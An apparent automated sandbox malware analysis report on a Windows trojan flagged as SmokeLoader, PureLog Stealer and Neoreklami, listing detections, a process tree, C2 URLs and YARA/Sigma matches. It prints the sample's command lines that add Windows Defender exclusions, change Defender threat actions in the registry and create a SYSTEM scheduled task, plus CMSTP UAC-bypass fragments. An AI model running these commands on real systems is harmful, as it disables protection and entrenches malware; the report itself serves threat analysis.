Edit tour

Windows Analysis Report
lgX7lgUL1w.exe

Overview

General Information

Sample name:	lgX7lgUL1w.exe renamed because original name is a hash value
Original sample name:	7ff8c26a36f5a4566990745dff1594f3.exe
Analysis ID:	1447097
MD5:	7ff8c26a36f5a4566990745dff1594f3
SHA1:	5d73bbd168fb9b1e43051340a415d95f28c40f4d
SHA256:	fc44a0e8161907e73f2e7f0ee5b264a8e2c78f5af3437c4cb25341661da8d813
Tags:	64exetrojan
Infos:

Detection

Neoreklami, PureLog Stealer, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

System process connects to network (likely due to code injection or exploit)

Yara detected Neoreklami

Yara detected PureLog Stealer

Yara detected SmokeLoader

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Changes security center settings (notifications, updates, antivirus, firewall)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates HTML files with .exe extension (expired dropper behavior)

Creates a thread in another existing process (thread injection)

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Drops script or batch files to the startup folder

Exclude list of file types from scheduled, custom, and real-time scanning

Found direct / indirect Syscall (likely to bypass EDR)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies Group Policy settings

Modifies Windows Defender protection settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Suspicious powershell command line found

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal browser information (history, passwords, etc)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes many files with high entropy

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Creates or modifies windows services

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Use Short Name Path in Command Line

Sigma detected: Windows Defender Exclusions Added - Registry

Stores files to the Windows start menu directory

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

lgX7lgUL1w.exe (PID: 968 cmdline: "C:\Users\user\Desktop\lgX7lgUL1w.exe" MD5: 7FF8C26A36F5A4566990745DFF1594F3)

conhost.exe (PID: 6748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5760 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AddInProcess32.exe (PID: 3960 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

xJOdjN6fVDYC0Ta4cXD9JBiF.exe (PID: 7280 cmdline: "C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe" /s MD5: CD4ACEDEFA9AB5C7DCCAC667F91CEF13)

PZ3hKWPffUrXuh6Gjn77Ivv1.exe (PID: 7308 cmdline: "C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe" MD5: C5A6381354CD5D1488E362C9103C1851)

explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

iYU7jmLL0jPLxgjctxjq1ReZ.exe (PID: 7964 cmdline: "C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe" MD5: 53D14BD638C98C210E391151A8D3BCCC)

Install.exe (PID: 8020 cmdline: .\Install.exe /odidum "385118" /S MD5: 220A02A940078153B4063F42F206087B)

cmd.exe (PID: 8076 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 8144 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 8160 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 8176 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 2408 cmdline: forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 7428 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 1352 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 8160 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 2936 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 6132 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 6132 cmdline: forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 8148 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 5988 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 1460 cmdline: forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 7836 cmdline: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 5468 cmdline: powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

forfiles.exe (PID: 7248 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" MD5: D95C443851F70F77427B3183B1619DD3)

conhost.exe (PID: 3180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1456 cmdline: /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 7696 cmdline: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WMIC.exe (PID: 6476 cmdline: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: E2DE6500DE1148C7F6027AD50AC8B891)

schtasks.exe (PID: 8276 cmdline: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

c12YwoiQ34lE0LgBRkxJOClX.exe (PID: 7984 cmdline: "C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe" MD5: F0587649682207064554A2372966435D)

E6ijlcXzCqRG7r61JO0b9evs.exe (PID: 8028 cmdline: "C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe" MD5: C5A6381354CD5D1488E362C9103C1851)

WerFault.exe (PID: 648 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8028 -s 356 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7336 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 7372 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 7412 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7456 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7472 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7488 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7668 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2916 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2356 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6632 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6816 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 8152 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 8188 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8028 -ip 8028 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 5868 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://dbfhns.in/tmp/index.php", "http://guteyr.cc/tmp/index.php", "http://greendag.ru/tmp/index.php", "http://lobulraualov.in.net/tmp/index.php"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
lgX7lgUL1w.exe	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
lgX7lgUL1w.exe	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x14fa04:$s2: taskkill /IM cmstp.exe /F 0x14f936:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x14fafa:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Documents\SimpleAdobe\Dwkvj_9aXUK5SRV0uUMfzWFw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\lgX7lgUL1w.exe	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
C:\Users\user\lgX7lgUL1w.exe	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x14fa04:$s2: taskkill /IM cmstp.exe /F 0x14f936:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x14fafa:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

Memory Dumps

Source	Rule	Description	Author	Strings
00000026.00000002.2581381822.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000008.00000002.1706196423.0000000002E10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.1201842177.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1217812162.00007FF7E36ED000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000008.00000002.1769205035.000000000301B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7584:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.1710200327.0000000002E20000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x664:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000008.00000002.1731271507.0000000002F51000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x264:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1217762713.00007FF7E369D000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1213051292.00000233C4D27000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000026.00000002.2621741485.0000000002E5B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7584:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: lgX7lgUL1w.exe PID: 968	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: Install.exe PID: 8020	JoeSecurity_Neoreklami	Yara detected Neoreklami	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.lgX7lgUL1w.exe.233c5000058.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.lgX7lgUL1w.exe.233c5000058.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x14fa04:$s2: taskkill /IM cmstp.exe /F 0x14f936:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x14fafa:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.0.lgX7lgUL1w.exe.7ff7e3570000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.0.lgX7lgUL1w.exe.7ff7e3570000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x19f20c:$s2: taskkill /IM cmstp.exe /F 0x19f13e:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x19f302:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.lgX7lgUL1w.exe.233c776f568.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.lgX7lgUL1w.exe.7ff7e3570000.3.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.lgX7lgUL1w.exe.7ff7e3570000.3.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x13b4fc:$s1: c:\windows\system32\cmstp.exe 0x13ad6c:$s2: taskkill /IM cmstp.exe /F 0x19f20c:$s2: taskkill /IM cmstp.exe /F 0x13ac9e:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x19f13e:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x13ae62:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", "" 0x19f302:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.lgX7lgUL1w.exe.233c5000058.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.lgX7lgUL1w.exe.233c5000058.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x14dc04:$s2: taskkill /IM cmstp.exe /F 0x14db36:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x14dcfa:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.lgX7lgUL1w.exe.233c4d28818.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD	Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF	ditekSHen	0x427244:$s2: taskkill /IM cmstp.exe /F 0x427176:$s5: RunPreSetupCommands=RunPreSetupCommandsSection 0x42733a:$s6: "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, CommandLine|base64offset|contains: <, Image: C:\Windows\SysWOW64\wbem\WMIC.exe, NewProcessName: C:\Windows\SysWOW64\wbem\WMIC.exe, OriginalFileName: C:\Windows\SysWOW64\wbem\WMIC.exe, ParentCommandLine: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7696, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True, ProcessId: 6476, ProcessName: WMIC.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\lgX7lgUL1w.exe", ParentImage: C:\Users\user\Desktop\lgX7lgUL1w.exe, ParentProcessId: 968, ParentProcessName: lgX7lgUL1w.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile, ProcessId: 5760, ProcessName: powershell.exe

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F, CommandLine: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /odidum "385118" /S, ParentImage: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe, ParentProcessId: 8020, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F, ProcessId: 8276, ProcessName: schtasks.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

